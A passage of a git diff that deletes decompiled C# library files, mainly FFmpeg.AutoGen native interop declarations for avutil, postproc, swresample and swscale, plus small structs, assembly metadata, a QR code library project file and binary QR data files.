[MarshalAs(UnmanagedType.LPStr)] string name, AVPixelFormat fmt, int search_flags); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_opt_set_sample_fmt(void* obj, [MarshalAs(UnmanagedType.LPStr)] string name, AVSampleFormat fmt, int search_flags); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_opt_set_video_rate(void* obj, [MarshalAs(UnmanagedType.LPStr)] string name, AVRational val, int search_flags); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_opt_set_channel_layout(void* obj, [MarshalAs(UnmanagedType.LPStr)] string name, long ch_layout, int search_flags); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_opt_set_dict_val(void* obj, [MarshalAs(UnmanagedType.LPStr)] string name, AVDictionary* val, int search_flags); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_opt_get(void* obj, [MarshalAs(UnmanagedType.LPStr)] string name, int search_flags, sbyte** out_val); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_opt_get_int(void* obj, [MarshalAs(UnmanagedType.LPStr)] string name, int search_flags, long* out_val); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_opt_get_double(void* obj, [MarshalAs(UnmanagedType.LPStr)] string name, int search_flags, double* out_val); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_opt_get_q(void* obj, [MarshalAs(UnmanagedType.LPStr)] string name, int search_flags, AVRational* out_val); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_opt_get_image_size(void* obj, [MarshalAs(UnmanagedType.LPStr)] string name, int search_flags, int* w_out, int* h_out); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_opt_get_pixel_fmt(void* obj, [MarshalAs(UnmanagedType.LPStr)] string name, int search_flags, AVPixelFormat* out_fmt); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_opt_get_sample_fmt(void* obj, [MarshalAs(UnmanagedType.LPStr)] string name, int search_flags, AVSampleFormat* out_fmt); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_opt_get_video_rate(void* obj, [MarshalAs(UnmanagedType.LPStr)] string name, int search_flags, AVRational* out_val); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_opt_get_channel_layout(void* obj, [MarshalAs(UnmanagedType.LPStr)] string name, int search_flags, long* ch_layout); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_opt_get_dict_val(void* obj, [MarshalAs(UnmanagedType.LPStr)] string name, int search_flags, AVDictionary** out_val); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void* av_opt_ptr(AVClass* avclass, void* obj, [MarshalAs(UnmanagedType.LPStr)] string name); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_opt_freep_ranges(AVOptionRanges** ranges); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_opt_query_ranges(AVOptionRanges** param0, void* obj, [MarshalAs(UnmanagedType.LPStr)] string key, int flags); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_opt_copy(void* dest, void* src); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_opt_query_ranges_default(AVOptionRanges** param0, void* obj, [MarshalAs(UnmanagedType.LPStr)] string key, int flags); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_opt_is_set_to_default(void* obj, AVOption* o); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_opt_is_set_to_default_by_name(void* obj, [MarshalAs(UnmanagedType.LPStr)] string name, int search_flags); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_opt_serialize(void* obj, int opt_flags, int flags, sbyte** buffer, sbyte key_val_sep, sbyte pairs_sep); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_read_image_line(ushort* dst, [MarshalAs(UnmanagedType.LPArray, SizeConst = 4)] sbyte*[] data, [MarshalAs(UnmanagedType.LPArray, SizeConst = 4)] int[] linesize, AVPixFmtDescriptor* desc, int x, int y, int c, int w, int read_pal_component); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_write_image_line(ushort* src, [MarshalAs(UnmanagedType.LPArray, SizeConst = 4)] sbyte*[] data, [MarshalAs(UnmanagedType.LPArray, SizeConst = 4)] int[] linesize, AVPixFmtDescriptor* desc, int x, int y, int c, int w); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern AVPixelFormat av_get_pix_fmt([MarshalAs(UnmanagedType.LPStr)] string name); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern string av_get_pix_fmt_name(AVPixelFormat pix_fmt); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern sbyte* av_get_pix_fmt_string(IntPtr buf, int buf_size, AVPixelFormat pix_fmt); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_get_bits_per_pixel(AVPixFmtDescriptor* pixdesc); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_get_padded_bits_per_pixel(AVPixFmtDescriptor* pixdesc); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVPixFmtDescriptor* av_pix_fmt_desc_get(AVPixelFormat pix_fmt); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVPixFmtDescriptor* av_pix_fmt_desc_next(AVPixFmtDescriptor* prev); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVPixelFormat av_pix_fmt_desc_get_id(AVPixFmtDescriptor* desc); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_pix_fmt_get_chroma_sub_sample(AVPixelFormat pix_fmt, int* h_shift, int* v_shift); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern int av_pix_fmt_count_planes(AVPixelFormat pix_fmt); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern AVPixelFormat av_pix_fmt_swap_endianness(AVPixelFormat pix_fmt); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern int av_get_pix_fmt_loss(AVPixelFormat dst_pix_fmt, AVPixelFormat src_pix_fmt, int has_alpha); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVPixelFormat av_find_best_pix_fmt_of_2(AVPixelFormat dst_pix_fmt1, AVPixelFormat dst_pix_fmt2, AVPixelFormat src_pix_fmt, int has_alpha, int* loss_ptr); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern string av_color_range_name(AVColorRange range); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern string av_color_primaries_name(AVColorPrimaries primaries); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern string av_color_transfer_name(AVColorTransferCharacteristic transfer); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern string av_color_space_name(AVColorSpace space); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern string av_chroma_location_name(AVChromaLocation location); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_image_fill_max_pixsteps([MarshalAs(UnmanagedType.LPArray, SizeConst = 4)] int[] max_pixsteps, [MarshalAs(UnmanagedType.LPArray, SizeConst = 4)] int[] max_pixstep_comps, AVPixFmtDescriptor* pixdesc); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern int av_image_get_linesize(AVPixelFormat pix_fmt, int width, int plane); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern int av_image_fill_linesizes([MarshalAs(UnmanagedType.LPArray, SizeConst = 4)] int[] linesizes, AVPixelFormat pix_fmt, int width); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_image_fill_pointers([MarshalAs(UnmanagedType.LPArray, SizeConst = 4)] sbyte*[] data, AVPixelFormat pix_fmt, int height, sbyte* ptr, [MarshalAs(UnmanagedType.LPArray, SizeConst = 4)] int[] linesizes); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_image_alloc([MarshalAs(UnmanagedType.LPArray, SizeConst = 4)] sbyte*[] pointers, [MarshalAs(UnmanagedType.LPArray, SizeConst = 4)] int[] linesizes, int w, int h, AVPixelFormat pix_fmt, int align); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_image_copy_plane(sbyte* dst, int dst_linesize, sbyte* src, int src_linesize, int bytewidth, int height); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_image_copy([MarshalAs(UnmanagedType.LPArray, SizeConst = 4)] sbyte*[] dst_data, [MarshalAs(UnmanagedType.LPArray, SizeConst = 4)] int[] dst_linesizes, [MarshalAs(UnmanagedType.LPArray, SizeConst = 4)] sbyte*[] src_data, [MarshalAs(UnmanagedType.LPArray, SizeConst = 4)] int[] src_linesizes, AVPixelFormat pix_fmt, int width, int height); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_image_fill_arrays([MarshalAs(UnmanagedType.LPArray, SizeConst = 4)] sbyte*[] dst_data, [MarshalAs(UnmanagedType.LPArray, SizeConst = 4)] int[] dst_linesize, sbyte* src, AVPixelFormat pix_fmt, int width, int height, int align); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern int av_image_get_buffer_size(AVPixelFormat pix_fmt, int width, int height, int align); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_image_copy_to_buffer(sbyte* dst, int dst_size, [MarshalAs(UnmanagedType.LPArray, SizeConst = 4)] sbyte*[] src_data, [MarshalAs(UnmanagedType.LPArray, SizeConst = 4)] int[] src_linesize, AVPixelFormat pix_fmt, int width, int height, int align); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_image_check_size(uint w, uint h, int log_offset, void* log_ctx); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern int av_image_check_sar(uint w, uint h, AVRational sar); - - [DllImport("postproc-54", CallingConvention = CallingConvention.Cdecl)] - public static extern uint postproc_version(); - - [DllImport("postproc-54", CallingConvention = CallingConvention.Cdecl)] - public static extern string postproc_configuration(); - - [DllImport("postproc-54", CallingConvention = CallingConvention.Cdecl)] - public static extern string postproc_license(); - - [DllImport("postproc-54", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void pp_postprocess([MarshalAs(UnmanagedType.LPArray, SizeConst = 3)] sbyte*[] src, [MarshalAs(UnmanagedType.LPArray, SizeConst = 3)] int[] srcStride, [MarshalAs(UnmanagedType.LPArray, SizeConst = 3)] sbyte*[] dst, [MarshalAs(UnmanagedType.LPArray, SizeConst = 3)] int[] dstStride, int horizontalSize, int verticalSize, sbyte* QP_store, int QP_stride, void* mode, void* ppContext, int pict_type); - - [DllImport("postproc-54", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void* pp_get_mode_by_name_and_quality([MarshalAs(UnmanagedType.LPStr)] string name, int quality); - - [DllImport("postproc-54", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void pp_free_mode(void* mode); - - [DllImport("postproc-54", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void* pp_get_context(int width, int height, int flags); - - [DllImport("postproc-54", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void pp_free_context(void* ppContext); - - [DllImport("swresample-2", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVClass* swr_get_class(); - - [DllImport("swresample-2", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern SwrContext* swr_alloc(); - - [DllImport("swresample-2", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int swr_init(SwrContext* s); - - [DllImport("swresample-2", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int swr_is_initialized(SwrContext* s); - - [DllImport("swresample-2", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern SwrContext* swr_alloc_set_opts(SwrContext* s, long out_ch_layout, AVSampleFormat out_sample_fmt, int out_sample_rate, long in_ch_layout, AVSampleFormat in_sample_fmt, int in_sample_rate, int log_offset, void* log_ctx); - - [DllImport("swresample-2", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void swr_free(SwrContext** s); - - [DllImport("swresample-2", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void swr_close(SwrContext* s); - - [DllImport("swresample-2", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int swr_convert(SwrContext* s, sbyte** @out, int out_count, sbyte** @in, int in_count); - - [DllImport("swresample-2", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern long swr_next_pts(SwrContext* s, long pts); - - [DllImport("swresample-2", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int swr_set_compensation(SwrContext* s, int sample_delta, int compensation_distance); - - [DllImport("swresample-2", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int swr_set_channel_mapping(SwrContext* s, int* channel_map); - - [DllImport("swresample-2", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int swr_set_matrix(SwrContext* s, double* matrix, int stride); - - [DllImport("swresample-2", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int swr_drop_output(SwrContext* s, int count); - - [DllImport("swresample-2", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int swr_inject_silence(SwrContext* s, int count); - - [DllImport("swresample-2", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern long swr_get_delay(SwrContext* s, long @base); - - [DllImport("swresample-2", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int swr_get_out_samples(SwrContext* s, int in_samples); - - [DllImport("swresample-2", CallingConvention = CallingConvention.Cdecl)] - public static extern uint swresample_version(); - - [DllImport("swresample-2", CallingConvention = CallingConvention.Cdecl)] - public static extern string swresample_configuration(); - - [DllImport("swresample-2", CallingConvention = CallingConvention.Cdecl)] - public static extern string swresample_license(); - - [DllImport("swresample-2", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int swr_convert_frame(SwrContext* swr, AVFrame* output, AVFrame* input); - - [DllImport("swresample-2", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int swr_config_frame(SwrContext* swr, AVFrame* @out, AVFrame* @in); - - [DllImport("swscale-4", CallingConvention = CallingConvention.Cdecl)] - public static extern uint swscale_version(); - - [DllImport("swscale-4", CallingConvention = CallingConvention.Cdecl)] - public static extern string swscale_configuration(); - - [DllImport("swscale-4", CallingConvention = CallingConvention.Cdecl)] - public static extern string swscale_license(); - - [DllImport("swscale-4", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int* sws_getCoefficients(int colorspace); - - [DllImport("swscale-4", CallingConvention = CallingConvention.Cdecl)] - public static extern int sws_isSupportedInput(AVPixelFormat pix_fmt); - - [DllImport("swscale-4", CallingConvention = CallingConvention.Cdecl)] - public static extern int sws_isSupportedOutput(AVPixelFormat pix_fmt); - - [DllImport("swscale-4", CallingConvention = CallingConvention.Cdecl)] - public static extern int sws_isSupportedEndiannessConversion(AVPixelFormat pix_fmt); - - [DllImport("swscale-4", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern SwsContext* sws_alloc_context(); - - [DllImport("swscale-4", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int sws_init_context(SwsContext* sws_context, SwsFilter* srcFilter, SwsFilter* dstFilter); - - [DllImport("swscale-4", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void sws_freeContext(SwsContext* swsContext); - - [DllImport("swscale-4", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern SwsContext* sws_getContext(int srcW, int srcH, AVPixelFormat srcFormat, int dstW, int dstH, AVPixelFormat dstFormat, int flags, SwsFilter* srcFilter, SwsFilter* dstFilter, double* param); - - [DllImport("swscale-4", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int sws_scale(SwsContext* c, sbyte** srcSlice, int* srcStride, int srcSliceY, int srcSliceH, sbyte** dst, int* dstStride); - - [DllImport("swscale-4", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int sws_setColorspaceDetails(SwsContext* c, [MarshalAs(UnmanagedType.LPArray, SizeConst = 4)] int[] inv_table, int srcRange, [MarshalAs(UnmanagedType.LPArray, SizeConst = 4)] int[] table, int dstRange, int brightness, int contrast, int saturation); - - [DllImport("swscale-4", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int sws_getColorspaceDetails(SwsContext* c, int** inv_table, int* srcRange, int** table, int* dstRange, int* brightness, int* contrast, int* saturation); - - [DllImport("swscale-4", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern SwsVector* sws_allocVec(int length); - - [DllImport("swscale-4", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern SwsVector* sws_getGaussianVec(double variance, double quality); - - [DllImport("swscale-4", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern SwsVector* sws_getConstVec(double c, int length); - - [DllImport("swscale-4", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern SwsVector* sws_getIdentityVec(); - - [DllImport("swscale-4", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void sws_scaleVec(SwsVector* a, double scalar); - - [DllImport("swscale-4", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void sws_normalizeVec(SwsVector* a, double height); - - [DllImport("swscale-4", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void sws_convVec(SwsVector* a, SwsVector* b); - - [DllImport("swscale-4", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void sws_addVec(SwsVector* a, SwsVector* b); - - [DllImport("swscale-4", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void sws_subVec(SwsVector* a, SwsVector* b); - - [DllImport("swscale-4", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void sws_shiftVec(SwsVector* a, int shift); - - [DllImport("swscale-4", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern SwsVector* sws_cloneVec(SwsVector* a); - - [DllImport("swscale-4", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void sws_printVec2(SwsVector* a, AVClass* log_ctx, int log_level); - - [DllImport("swscale-4", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void sws_freeVec(SwsVector* a); - - [DllImport("swscale-4", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern SwsFilter* sws_getDefaultFilter(float lumaGBlur, float chromaGBlur, float lumaSharpen, float chromaSharpen, float chromaHShift, float chromaVShift, int verbose); - - [DllImport("swscale-4", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void sws_freeFilter(SwsFilter* filter); - - [DllImport("swscale-4", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern SwsContext* sws_getCachedContext(SwsContext* context, int srcW, int srcH, AVPixelFormat srcFormat, int dstW, int dstH, AVPixelFormat dstFormat, int flags, SwsFilter* srcFilter, SwsFilter* dstFilter, double* param); - - [DllImport("swscale-4", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void sws_convertPalette8ToPacked32(sbyte* src, sbyte* dst, int num_pixels, sbyte* palette); - - [DllImport("swscale-4", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void sws_convertPalette8ToPacked24(sbyte* src, sbyte* dst, int num_pixels, sbyte* palette); - - [DllImport("swscale-4", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVClass* sws_get_class(); -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/info.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/info.cs deleted file mode 100644 index 609e766..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/info.cs +++ /dev/null @@ -1,32 +0,0 @@ -using System; - -namespace FFmpeg.AutoGen; - -public struct info -{ - public long last_dts; - - public long duration_gcd; - - public int duration_count; - - public long rfps_duration_sum; - - public IntPtr duration_error; - - public long codec_info_duration; - - public long codec_info_duration_fields; - - public int found_decoder; - - public long last_duration; - - public long fps_first_dts; - - public int fps_first_dts_idx; - - public long fps_last_dts; - - public int fps_last_dts_idx; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/init_state.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/init_state.cs deleted file mode 100644 index 772be07..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/init_state.cs +++ /dev/null @@ -1,8 +0,0 @@ -namespace FFmpeg.AutoGen; - -public enum init_state -{ - AVLINK_UNINIT, - AVLINK_STARTINIT, - AVLINK_INIT -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/pp_context.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/pp_context.cs deleted file mode 100644 index dab8eb4..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/pp_context.cs +++ /dev/null @@ -1,8 +0,0 @@ -using System.Runtime.InteropServices; - -namespace FFmpeg.AutoGen; - -[StructLayout(LayoutKind.Sequential, Size = 1)] -public struct pp_context -{ -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/pp_mode.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/pp_mode.cs deleted file mode 100644 index beeb98b..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/pp_mode.cs +++ /dev/null @@ -1,8 +0,0 @@ -using System.Runtime.InteropServices; - -namespace FFmpeg.AutoGen; - -[StructLayout(LayoutKind.Sequential, Size = 1)] -public struct pp_mode -{ -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/size_t.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/size_t.cs deleted file mode 100644 index 661c59b..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/size_t.cs +++ /dev/null @@ -1,6 +0,0 @@ -namespace FFmpeg.AutoGen; - -public struct size_t -{ - public uint value; -} diff --git a/output/Libraries/FFmpeg.AutoGen/Properties/AssemblyInfo.cs b/output/Libraries/FFmpeg.AutoGen/Properties/AssemblyInfo.cs deleted file mode 100644 index 54e7839..0000000 --- a/output/Libraries/FFmpeg.AutoGen/Properties/AssemblyInfo.cs +++ /dev/null @@ -1,18 +0,0 @@ -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security; -using System.Security.Permissions; - -[assembly: AssemblyTitle("FFmpeg.AutoGen")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("FFmpeg.AutoGen")] -[assembly: AssemblyCopyright("Copyright © Ruslan Balanukhin 2015")] -[assembly: AssemblyTrademark("")] -[assembly: ComVisible(false)] -[assembly: Guid("410c7abf-7c83-478f-8655-af2a0f29c7ff")] -[assembly: AssemblyFileVersion("1.2.0.0")] -[assembly: AssemblyVersion("1.2.0.0")] diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.csproj b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.csproj deleted file mode 100644 index 2710ae9..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.csproj +++ /dev/null @@ -1,484 +0,0 @@ - - - MessagingToolkit.QRCode - False - net20 - - - 12.0 - True - - - app.ico - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ../../../../../../usr/lib/dotnet/shared/Microsoft.NETCore.App/8.0.20/System.Xml.dll - - - \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv10_0.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv10_0.dat deleted file mode 100644 index 8c073a8..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv10_0.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv10_1.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv10_1.dat deleted file mode 100644 index 9a3cf4d..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv10_1.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv10_2.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv10_2.dat deleted file mode 100644 index 4a57e8a..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv10_2.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv10_3.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv10_3.dat deleted file mode 100644 index e2de0ec..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv10_3.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv11_0.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv11_0.dat deleted file mode 100644 index 18853fe..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv11_0.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv11_1.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv11_1.dat deleted file mode 100644 index 365deb3..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv11_1.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv11_2.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv11_2.dat deleted file mode 100644 index 0357a64..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv11_2.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv11_3.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv11_3.dat deleted file mode 100644 index bb8621b..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv11_3.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv12_0.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv12_0.dat deleted file mode 100644 index 636f201..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv12_0.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv12_1.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv12_1.dat deleted file mode 100644 index c679648..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv12_1.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv12_2.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv12_2.dat deleted file mode 100644 index 4544e9d..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv12_2.dat and /dev/null differ diff --git 